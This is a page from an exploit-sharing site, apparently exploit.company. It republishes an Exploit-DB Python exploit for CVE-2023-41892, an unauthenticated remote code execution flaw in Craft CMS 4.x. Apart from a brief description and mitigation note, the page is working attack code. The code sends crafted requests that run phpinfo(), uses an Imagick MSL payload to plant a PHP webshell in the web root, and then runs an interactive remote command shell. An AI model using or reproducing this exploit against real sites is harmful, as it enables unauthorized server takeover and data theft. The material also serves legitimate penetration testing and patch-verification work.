Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
Craft CMS unauthenticated Remote Code Execution (RCE) - exploit.company
header-logo
Suggest Exploit
vendor:
Craft CMS
by:
Olivier Lasne
8.1
CVSS
CRITICAL
Remote Code Execution (RCE)
94
CWE
Product Name: Craft CMS
Affected Version From: 4.0.0-RC1
Affected Version To: 4.4.14
Patch Exists: YES
Related CWE: CVE-2023-41892
CPE: a:craftcms:craft_cms:4.4.14
Other Scripts:
Platforms Tested: Ubuntu 22.04.3 LTS
2023

Craft CMS unauthenticated Remote Code Execution (RCE)

Craft CMS 4.0.0-RC1 through 4.4.14 allows unauthenticated remote attackers to execute arbitrary code via a crafted request. An attacker can leverage this vulnerability to extract sensitive information and potentially take control of the affected system. This vulnerability has been assigned the CVE-2023-41892.

Mitigation:

To mitigate this vulnerability, users are advised to update Craft CMS to a patched version beyond 4.4.14. Additionally, restrict network access to the affected system to trusted sources only.
Source

Exploit-DB raw data:

#!/usr/bin/env python3
#coding: utf-8

# Exploit Title: Craft CMS unauthenticated Remote Code Execution (RCE)
# Date: 2023-12-26
# Version: 4.0.0-RC1 - 4.4.14
# Vendor Homepage: https://craftcms.com/
# Software Link: https://github.com/craftcms/cms/releases/tag/4.4.14
# Tested on: Ubuntu 22.04.3 LTS
# Tested on: Craft CMS 4.4.14
# Exploit Author: Olivier Lasne
# CVE : CVE-2023-41892
# References :
# https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
# https://blog.calif.io/p/craftcms-rce

import requests
import sys, re

if(len(sys.argv) < 2):
    print(f"\033[1;96mUsage:\033[0m python {sys.argv[0]} \033[1;96m<url>\033[0m")
    exit()

HOST = sys.argv[1]

if not re.match('^https?://.*', HOST):
    print("\033[1;31m[-]\033[0m URL should start with http or https")
    exit()

print("\033[1;96m[+]\033[0m Executing phpinfo to extract some config infos")

## Execute phpinfo() and extract config info from the website
url = HOST + '/index.php'
content_type = {'Content-Type': 'application/x-www-form-urlencoded'}

data = r'action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}'

try:
    r = requests.post(url, headers=content_type, data=data)
except:
    print(f"\033[1;31m[-]\033[0m Could not connect to {HOST}")
    exit()

# If we succeed, we should have default phpinfo credits 
if not 'PHP Group' in r.text:
	print(f'\033[1;31m[-]\033[0m {HOST} is not exploitable.')
	exit()


# Extract config value for tmp_dir and document_root
pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'

tmp_dir       = re.search(pattern1, r.text, re.DOTALL).group(1)
document_root = re.search(pattern2, r.text, re.DOTALL).group(1)


if 'no value' in tmp_dir:
	tmp_dir = '/tmp'

print(f'temporary directory: {tmp_dir}')
print(f'web server root: {document_root}')

## Create shell.php in tmp_dir

data = {
    "action": "conditions/render",
    "configObject[class]": "craft\elements\conditions\ElementCondition",
    "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
}

files = {
    "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
    <image>
    <read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>"/>
    <write filename="info:DOCUMENTROOT/shell.php"/>
    </image>""".replace("DOCUMENTROOT", document_root), "text/plain")
}

print(f'\033[1;96m[+]\033[0m create shell.php in {tmp_dir}')
r = requests.post(url, data=data, files=files) #, proxies={'http' : 'http://127.0.0.1:8080'}) #  


# Use the Imagick trick to move the webshell in DOCUMENT_ROOT

data = {
    "action": "conditions/render",
    "configObject[class]": r"craft\elements\conditions\ElementCondition",
    "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmp_dir + r'/php*"}}}'
}

print(f'\033[1;96m[+]\033[0m trick imagick to move shell.php in {document_root}')
r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})

if r.status_code != 502:
    print("\033[1;31m[-]\033[0m Exploit failed")
    exit()

print(f"\n\033[1;95m[+]\033[0m Webshell is deployed: {HOST}/\033[1mshell.php\033[0m?cmd=whoami")
print(f"\033[1;95m[+]\033[0m Remember to \033[1mdelete shell.php\033[0m in \033[1m{document_root}\033[0m when you're done\n")
print("\033[1;92m[!]\033[0m Enjoy your shell\n")

url = HOST + '/shell.php'

## Pseudo Shell
while True:
    command = input('\033[1;96m>\033[0m ')
    if command == 'exit':
        exit()

    if command == 'clear' or command == 'cls':
        print('\n' * 100)
        print('\033[H\033[3J', end='')
        continue

    data = {'cmd' : command}
    r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})

    # exit if we have an error
    if r.status_code != 200:
        print(f"Error: status code {r.status_code} for {url}")
        exit()

    res_command = r.text
    res_command = re.sub('^caption:', '', res_command)
    res_command = re.sub(' CAPTION.*$', '', res_command)

    print(res_command, end='')